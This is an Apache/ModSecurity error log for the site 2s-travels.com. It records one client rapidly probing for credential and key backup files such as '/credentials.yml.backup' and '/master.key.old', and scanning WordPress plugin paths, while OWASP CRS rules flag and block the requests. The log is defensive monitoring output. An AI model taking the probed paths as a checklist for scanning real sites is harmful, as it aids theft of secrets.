[Fri Jul 17 08:55:19.986987 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.990384 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/credentials.yml.backup"] [unique_id "almgnxHlOGcokz2QIwTTHQAAAAM"]
[Fri Jul 17 08:55:19.990904 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/credentials.yml.backup"] [unique_id "almgnxHlOGcokz2QIwTTHQAAAAM"]
[Fri Jul 17 08:55:19.991037 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.991186 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnxHlOGcokz2QIwTTHQAAAAM"]
[Fri Jul 17 08:55:19.992904 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.994708 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.996210 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/master.key.old"] [unique_id "almgnyvekYYQ8uns4MwlZwAAAA0"]
[Fri Jul 17 08:55:19.996856 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/master.key.old"] [unique_id "almgnyvekYYQ8uns4MwlZwAAAA0"]
[Fri Jul 17 08:55:19.997009 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.997184 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnyvekYYQ8uns4MwlZwAAAA0"]
[Fri Jul 17 08:55:19.998440 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.999321 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.999500 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-global": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgn_wooI4qY7Jg93pVZAAAABM"]
[Fri Jul 17 08:55:19.999516 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-ip": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgn_wooI4qY7Jg93pVZAAAABM"]
[Fri Jul 17 08:55:20.000438 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Match of "within %{tx.allowed_methods}" against "REQUEST_METHOD" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-911-METHOD-ENFORCEMENT.conf"] [line "44"] [id "911100"] [msg "Method is not allowed by policy"] [data "PATCH"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272/220/274"] [tag "PCI/12.1"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgn4l9vhFBGA6D8l96EAAAAAw"]
[Fri Jul 17 08:55:20.001103 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgn4l9vhFBGA6D8l96EAAAAAw"]
[Fri Jul 17 08:55:20.001217 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.001474 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgn4l9vhFBGA6D8l96EAAAAAw"]
[Fri Jul 17 08:55:20.002721 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/master.key.bak"] [unique_id "almgoIbYoYGvYnmnM82CMAAAAAs"]
[Fri Jul 17 08:55:20.003230 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/master.key.bak"] [unique_id "almgoIbYoYGvYnmnM82CMAAAAAs"]
[Fri Jul 17 08:55:20.003367 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.003504 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoIbYoYGvYnmnM82CMAAAAAs"]
[Fri Jul 17 08:55:20.005531 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/master.key.backup"] [unique_id "almgoIZvbo7N5o5zeYC-cwAAABw"]
[Fri Jul 17 08:55:20.006033 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/master.key.backup"] [unique_id "almgoIZvbo7N5o5zeYC-cwAAABw"]
[Fri Jul 17 08:55:20.006205 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.006336 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoIZvbo7N5o5zeYC-cwAAABw"]
[Fri Jul 17 08:55:20.006717 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.007085 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".key~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/master.key~"] [unique_id "almgoC0HS8lGbZyK8qt3JAAAACM"]
[Fri Jul 17 08:55:20.007556 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/master.key~"] [unique_id "almgoC0HS8lGbZyK8qt3JAAAACM"]
[Fri Jul 17 08:55:20.007678 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.007788 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoC0HS8lGbZyK8qt3JAAAACM"]
[Fri Jul 17 08:55:20.012055 2026] [authz_core:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-content/plugins/duplicator
[Fri Jul 17 08:55:20.012194 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.015192 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.015999 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.018762 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/master.key.swp"] [unique_id "almgoEkXT4NBqALj2lZ8vQAAABA"]
[Fri Jul 17 08:55:20.019531 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/master.key.swp"] [unique_id "almgoEkXT4NBqALj2lZ8vQAAABA"]
[Fri Jul 17 08:55:20.019694 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.019860 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoEkXT4NBqALj2lZ8vQAAABA"]
[Fri Jul 17 08:55:20.022183 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.023987 2026] [authz_core:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-content/plugins/ultimate-member
[Fri Jul 17 08:55:20.024170 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.024300 2026] [authz_core:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-content/plugins/elementor/readme.txt
[Fri Jul 17 08:55:20.024397 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.024581 2026] [authz_core:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-content/plugins/essential-addons-for-elementor-lite
[Fri Jul 17 08:55:20.024688 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.025431 2026] [authz_core:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-content/plugins/all-in-one-seo-pack
